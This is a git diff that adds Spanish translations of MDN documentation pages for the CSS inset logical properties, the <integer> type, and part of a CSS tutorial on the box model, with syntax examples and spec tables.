+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-rl;
+  position: relative;
+  inset-block-end: 20px;
+  background-color: #c8c800;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-inset-block-end", "inset-block-end")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.inset-block-end")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades que definen otras inserciones:: {{cssxref("inset-block-start")}}, {{cssxref("inset-inline-start")}}, y {{cssxref("inset-inline-end")}}</li>
+ <li>Las propiedades físicas mapeadas: {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, y {{cssxref("left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/inset-block-start/index.html b/files/es/web/css/inset-block-start/index.html
new file mode 100644
index 0000000000..4cd4a2c732
--- /dev/null
+++ b/files/es/web/css/inset-block-start/index.html
@@ -0,0 +1,99 @@
+---
+title: inset-block-start
+slug: Web/CSS/inset-block-start
+translation_of: Web/CSS/inset-block-start
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a><span class="seoSummary"> <strong><code>inset-block-start</code></strong> define el desplazamiento de inicio de bloque lógico de un elemento, que se asigna a una inserción física en función del modo de escritura, la direccionalidad y la orientación del texto del elemento. Corresponde a la propiedad {{cssxref ("top")}}, {{cssxref ("right")}}, {{cssxref ("bottom")}}, o {{cssxref ("left")}} dependiendo de la propiedad en los valores definidos para {{cssxref ("modo de escritura")}}, {{cssxref ("dirección")}} y {{cssxref ("orientación de texto")}}.</span></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Antes de Firefox 63 esta propiedad fue implementada como offset-block-start. <a href="https://www.fxsitecompat.com/en-CA/docs/2018/offset-logical-properties-have-been-renamed-to-inset/" rel="noopener">Firefox 63 actualizó el nombre de esta propiedad.</a> para que coincida con un cambio en la especificación.</p>
+</div>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+inset-block-start: 3px;
+inset-block-start: 2.4em;
+
+/* &lt;percentage&gt;s of the width or height of the containing block */
+inset-block-start: 10%;
+
+/* Keyword value */
+inset-block-start: auto;
+
+/* Global values */
+inset-block-start: inherit;
+inset-block-start: initial;
+inset-block-start: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>inset-block-start</code> toma los mismos valores de la propiedad {{cssxref("left")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  position: relative;
+  inset-block-start: 20px;
+  background-color: #c8c800;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-inset-block-start", "inset-block-start")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.inset-block-start")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades que definen otras inserciones:: {{cssxref("inset-block-end")}}, {{cssxref("inset-inline-start")}}, y {{cssxref("inset-inline-end")}}</li>
+ <li>Las propiedades físicas mapeadas: {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, y {{cssxref("left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/inset-block/index.html b/files/es/web/css/inset-block/index.html
new file mode 100644
index 0000000000..633a84475d
--- /dev/null
+++ b/files/es/web/css/inset-block/index.html
@@ -0,0 +1,97 @@
+---
+title: inset-block
+slug: Web/CSS/inset-block
+translation_of: Web/CSS/inset-block
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>inset-block</code></strong> define los bloques lógicos de inicio y fin de las compensaciones de un elemento, que se asignan a las compensaciones físicas en función del modo de escritura del elemento, la direccionalidad y la orientación del texto. Corresponde a las propiedades {{cssxref ("top")}} y {{cssxref ("bottom")}}, o {{cssxref ("right")}} y {{cssxref ("left")}} dependiendo de las propiedades en los valores definidos para {{cssxref ("modo de escritura")}}, {{cssxref ("dirección")}} y {{cssxref ("orientación de texto")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+inset-block: 3px 10px;
+inset-block: 2.4em 3em;
+inset-block: 10px; /* value applied to start and end */
+
+/* &lt;percentage&gt;s of the width or height of the containing block */
+inset-block: 10% 5%;
+
+/* Keyword value */
+inset-block: auto;
+
+/* Global values */
+inset-block: inherit;
+inset-block: initial;
+inset-block: unset;
+</pre>
+
+<p>La abreviación para la otra dimensión {{cssxref("inset-inline")}}, que es una abreviación para {{cssxref("inset-inline-start")}}, y {{cssxref("inset-inline-end")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>inset-block</code> toma los mismos valores de la propiedad {{cssxref("left")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  position: relative;
+  inset-block: 20px 50px;
+  background-color: #c8c800;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-inset-block", "inset-block")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.inset-block")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, y {{cssxref("left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/inset-inline-end/index.html b/files/es/web/css/inset-inline-end/index.html
new file mode 100644
index 0000000000..633306a67c
--- /dev/null
+++ b/files/es/web/css/inset-inline-end/index.html
@@ -0,0 +1,99 @@
+---
+title: inset-inline-end
+slug: Web/CSS/inset-inline-end
+translation_of: Web/CSS/inset-inline-end
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a><span class="seoSummary"> <strong><code>inset-inline-end</code></strong> define la inserción final lógica en línea de un elemento, que se asigna a una inserción física en función del modo de escritura, la direccionalidad y la orientación del texto del elemento. Corresponde a la propiedad {{cssxref ("top")}}, {{cssxref ("right")}}, {{cssxref ("bottom")}}, o {{cssxref ("left")}} dependiendo de la propiedad en los valores definidos para {{cssxref ("modo de escritura")}}, {{cssxref ("dirección")}} y {{cssxref ("orientación de texto")}}.</span></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Antes de Firefox 63 esta propiedad fue implementada como offset-inline-end. <a href="https://www.fxsitecompat.com/en-CA/docs/2018/offset-logical-properties-have-been-renamed-to-inset/" rel="noopener">Firefox 63 actualizó el nombre de esta propiedad.</a> para que coincida con un cambio en la especificación.</p>
+</div>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+inset-inline-end: 3px;
+inset-inline-end: 2.4em;
+
+/* &lt;percentage&gt;s of the width or height of the containing block */
+inset-inline-end: 10%;
+
+/* Keyword value */
+inset-inline-end: auto;
+
+/* Global values */
+inset-inline-end: inherit;
+inset-inline-end: initial;
+inset-inline-end: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>inset-inline-end</code> toma los mismos valores de la propiedad {{cssxref("left")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-rl;
+  position: relative;
+  inset-inline-end: 20px;
+  background-color: #c8c800;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-inset-inline-end", "inset-inline-end")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.inset-inline-end")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades que definen otras inserciones:: {{cssxref("inset-block-start")}}, {{cssxref("inset-block-end")}}, y {{cssxref("inset-inline-start")}}</li>
+ <li>Las propiedades físicas mapeadas: {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, y {{cssxref("left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/inset-inline-start/index.html b/files/es/web/css/inset-inline-start/index.html
new file mode 100644
index 0000000000..ef9b26bc2c
--- /dev/null
+++ b/files/es/web/css/inset-inline-start/index.html
@@ -0,0 +1,99 @@
+---
+title: inset-inline-start
+slug: Web/CSS/inset-inline-start
+translation_of: Web/CSS/inset-inline-start
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a><span class="seoSummary"> <strong><code>inset-inline-start</code></strong> define la inserción de inicio en línea lógica de un elemento, que se asigna a un desplazamiento físico en función del modo de escritura, la direccionalidad y la orientación del texto del elemento. Corresponde a la propiedad {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, o {{cssxref("left")}} dependiendo de la propiedad en los valores definidos para </span>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Antes de Firefox 63 esta propiedad fue implementada como offset-inline-start. <a href="https://www.fxsitecompat.com/en-CA/docs/2018/offset-logical-properties-have-been-renamed-to-inset/" rel="noopener">Firefox 63 actualizó el nombre de esta propiedad.</a> para que coincida con un cambio en la especificación.</p>
+</div>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+inset-inline-start: 3px;
+inset-inline-start: 2.4em;
+
+/* &lt;percentage&gt;s of the width or height of the containing block */
+inset-inline-start: 10%;
+
+/* Keyword value */
+inset-inline-start: auto;
+
+/* Global values */
+inset-inline-start: inherit;
+inset-inline-start: initial;
+inset-inline-start: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>inset-inline-start</code> toma los mismos valores de la propiedad {{cssxref("left")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  position: relative;
+  inset-inline-start: 20px;
+  background-color: #c8c800;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-inset-inline-start", "inset-inline-start")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.inset-inline-start")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades que definen otras inserciones: {{cssxref("inset-block-start")}}, {{cssxref("inset-block-end")}}, y {{cssxref("inset-inline-end")}}</li>
+ <li>Las propiedades físicas mapeadas: {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, y {{cssxref("left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/inset-inline/index.html b/files/es/web/css/inset-inline/index.html
new file mode 100644
index 0000000000..07a9d797d8
--- /dev/null
+++ b/files/es/web/css/inset-inline/index.html
@@ -0,0 +1,97 @@
+---
+title: inset-inline
+slug: Web/CSS/inset-inline
+translation_of: Web/CSS/inset-inline
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>inset-inline</code></strong> define los bloques lógicos de inicio y fin de las compensaciones de un elemento, que se asignan a las compensaciones físicas en función del modo de escritura del elemento, la direccionalidad y la orientación del texto. Corresponde a las propiedades {{cssxref ("top")}} y {{cssxref ("bottom")}}, o {{cssxref ("right")}} y {{cssxref ("left")}} dependiendo de las propiedades en los valores definidos para {{cssxref ("modo de escritura")}}, {{cssxref ("dirección")}} y {{cssxref ("orientación de texto")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+inset-inline: 3px 10px;
+inset-inline: 2.4em 3em;
+inset-inline: 10px; /* value applied to start and end */
+
+/* &lt;percentage&gt;s of the width or height of the containing block */
+inset-inline: 10% 5%;
+
+/* Keyword value */
+inset-inline: auto;
+
+/* Global values */
+inset-inline: inherit;
+inset-inline: initial;
+inset-inline: unset;
+</pre>
+
+<p>La abreviación para la otra dimensión es {{cssxref("inset-block")}}, que es la abreviación para {{cssxref("inset-block-start")}}, y {{cssxref("inset-block-end")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>inset-inline</code> toma los mismos valores de la propiedad {{cssxref("left")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  position: relative;
+  inset-inline: 20px 50px;
+  background-color: #c8c800;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-inset-inline", "inset-inline")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.inset-inline")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, y {{cssxref("left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/inset/index.html b/files/es/web/css/inset/index.html
new file mode 100644
index 0000000000..cd3260e72c
--- /dev/null
+++ b/files/es/web/css/inset/index.html
@@ -0,0 +1,96 @@
+---
+title: inset
+slug: Web/CSS/inset
+translation_of: Web/CSS/inset
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a>  <strong><code>inset</code></strong> define el bloque lógico y las compensaciones de inicio y finalización en línea de un elemento, que se asignan a las compensaciones físicas en función del modo de escritura, la direccionalidad y la orientación del texto del elemento. Corresponde a las propiedades {{cssxref ("top")}} y {{cssxref ("bottom")}}, o {{cssxref ("right")}} y {{cssxref ("left")}} dependiendo de las propiedades en los valores definidos para {{cssxref ("modo de escritura")}}, {{cssxref ("dirección")}} y {{cssxref ("orientación de texto")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+inset: 3px 10px 3px 10px;
+inset: 2.4em 3em 3em 3em;
+inset: 10px; /* value applied to all edges */
+
+/* &lt;percentage&gt;s of the width or height of the containing block */
+inset: 10% 5% 5% 5%;
+
+/* Keyword value */
+inset: auto;
+
+/* Global values */
+inset: inherit;
+inset: initial;
+inset: unset;
+
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>inset</code> toma los mismos valores de la propiedad {{cssxref("left")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  position: relative;
+  inset: 20px 50px 30px 10px;
+  background-color: #c8c800;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-inset", "inset")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.inset")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, y {{cssxref("left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/integer/index.html b/files/es/web/css/integer/index.html
new file mode 100644
index 0000000000..2075d52e37
--- /dev/null
+++ b/files/es/web/css/integer/index.html
@@ -0,0 +1,16 @@
+---
+title: <integer>
+slug: Web/CSS/integer
+translation_of: Web/CSS/integer
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Sumario" name="Sumario">Sumario</h2>
+
+<p>Un valor entero usado para algunas propiedades CSS que no tiene unidades.</p>
+
+<h3 id="Usado_en" name="Usado_en">Usado en</h3>
+
+<ul>
+ <li>{{ Cssxref("-moz-column-count") }}</li>
+</ul>
diff --git a/files/es/web/css/introducción/boxes/index.html b/files/es/web/css/introducción/boxes/index.html
new file mode 100644
index 0000000000..1feede593a
--- /dev/null
+++ b/files/es/web/css/introducción/boxes/index.html
@@ -0,0 +1,334 @@
+---
+title: Boxes
+slug: Web/CSS/Introducción/Boxes
+translation_of: Learn/CSS/Building_blocks
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<p>{{ previousPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Lists", "Lists") }}Esta es la sección 11 del Tutorial de  <a href="/en-US/docs/Web/Guide/CSS/Getting_Started" title="en-US/docs/Web/Guide/CSS/Getting Started">CSS Getting Started</a> ; <span id="result_box" lang="es"><span class="hps alt-edited">se describen</span> <span class="hps">cómo se puede</span> <span class="hps">usar CSS para</span> <span class="hps">controlar el espacio</span> <span class="hps">que un elemento</span> <span class="hps">ocupa</span> <span class="hps">cuando se muestra</span><span>.</span> <span class="hps">En</span> <span class="hps">su</span> <span class="hps">documento de ejemplo</span><span>, se cambia el</span> <span class="hps">espacio</span> <span class="hps alt-edited">y se agregan</span> <span class="hps">reglas</span> <span class="hps">decorativos.</span></span></p>
+
+<h2 class="clearLeft" id="Información_Cajas"><span id="result_box" lang="es"><span class="hps">Información:</span> <span class="hps">Cajas</span></span></h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Cuando</span> <span class="hps">el navegador muestra</span> <span class="hps">un elemento</span><span>, el elemento</span> <span class="hps alt-edited">ocupa un espacio</span><span>.</span> <span class="hps">Hay</span> <span class="hps">cuatro partes en</span> <span class="hps">el espacio</span> <span class="hps">que ocupa</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">En el centro,</span> <span class="hps">existe</span> <span class="hps">el espacio que el</span> <span class="hps">elemento</span> <span class="hps">necesita para mostrar</span> <span class="hps">su contenido.</span> <span class="hps">Alrededor de</span> <span class="hps">eso, no hay</span> <span class="hps">relleno.</span> <span class="hps alt-edited">En torno</span> <span class="hps alt-edited">de est, hay</span> <span class="hps alt-edited">un borde</span><span>.</span> <span class="hps alt-edited">En torno</span> <span class="hps alt-edited">esto, hay</span> <span class="hps">un margen</span> <span class="hps">que separa</span> <span class="hps alt-edited">este elemento</span> <span class="hps">de otros elementos</span><span>.</span></span></p>
+
+<table>
+ <tbody>
+  <tr>
+   <td style="width: 22em;">
+    <div style="background-color: #eee; padding: 0px 2em 2em 2em; width: 16em;">
+    <p style="text-align: center; margin: 0px;">margin</p>
+
+    <p style="text-align: center; margin: 0px 0px -.75em 0px;">border</p>
+
+    <div style="background-color: #fff; padding: 0px 2em 2em 2em; border: 4px solid #fd9;">
+    <p style="text-align: center;">padding</p>
+
+    <div style="background-color: #eee;">
+    <p style="text-align: center; padding: 0px; margin: 0px; font-size: 200%; font-weight: bold; color: #999;">element</p>
+    </div>
+    </div>
+    </div>
+
+    <p><span class="short_text" id="result_box" lang="es"><span class="hps">El</span> <span class="hps">gris pálido</span> <span class="hps">muestra</span> <span class="hps">partes del</span> <span class="hps">diseño.</span></span></p>
+   </td>
+   <td>
+    <div style="background-color: #fff; padding: 0px 2em 2em 2em; width: 16em;">
+    <p style="text-align: center; margin: 0px;"> </p>
+
+    <p style="text-align: center; margin: 0px 0px -.75em 0px;"> </p>
+
+    <div style="background-color: #fff; padding: 0px 2em 2em 2em; border: 4px solid #fd9;">
+    <p style="text-align: center;"> </p>
+
+    <div style="background-color: #fff;">
+    <p style="text-align: center; padding: 0px; margin: 0px; font-size: 200%; font-weight: bold; color: #999;">element</p>
+    </div>
+    </div>
+    </div>
+
+    <p><span class="short_text" id="result_box" lang="es"><span class="hps">Esto es</span> <span class="hps">lo que se ve</span> <span class="hps">en su navegador</span><span>.</span></span></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span id="result_box" lang="es"><span class="hps">El</span> <span class="hps alt-edited">relleno, el borde</span> <span class="hps">y</span> <span class="hps alt-edited">el margen</span> <span class="hps">pueden tener diferentes tamaños</span> <span class="hps">en la parte superior</span><span class="alt-edited">, derecha, inferior</span> <span class="hps">e izquierda del</span> <span class="hps">elemento</span><span>.</span> <span class="hps alt-edited">Alguno o</span> <span class="hps">todos estos tamaños</span> <span class="hps">pueden</span> <span class="hps">ser cero</span><span>.</span></span></p>
+
+<h3 id="Coloreando">Coloreando</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">El relleno es</span> <span class="hps">siempre</span> <span class="hps">el mismo color que</span> <span class="hps">el elemento del fondo</span><span>.</span> <span class="hps">Así que</span> <span class="hps">cuando se establece el</span> <span class="hps">color de fondo</span><span>, se ve el</span> <span class="hps">color aplicado</span> <span class="hps">al elemento</span> <span class="hps">en sí y su</span> <span class="hps">relleno.</span> <span class="hps">El margen es</span> <span class="hps">siempre</span> <span class="hps">transparente.</span></span></p>
+
+<table>
+ <tbody>
+  <tr>
+   <td style="width: 22em;">
+    <div style="background-color: #eee; padding: 0px 2em 2em 2em; width: 16em;">
+    <p style="text-align: center; margin: 0px;">margin</p>
+
+    <p style="text-align: center; margin: 0px 0px -.75em 0px;">border</p>
+
+    <div style="background-color: #efe; padding: 0px 2em 2em 2em; border: 4px solid #fd9;">
+    <p style="text-align: center;">padding</p>
+
+    <div style="background-color: #ded;">
+    <p style="text-align: center; padding: 0px; margin: 0px; font-size: 200%; font-weight: bold; color: #898;">element</p>
+    </div>
+    </div>
+    </div>
+
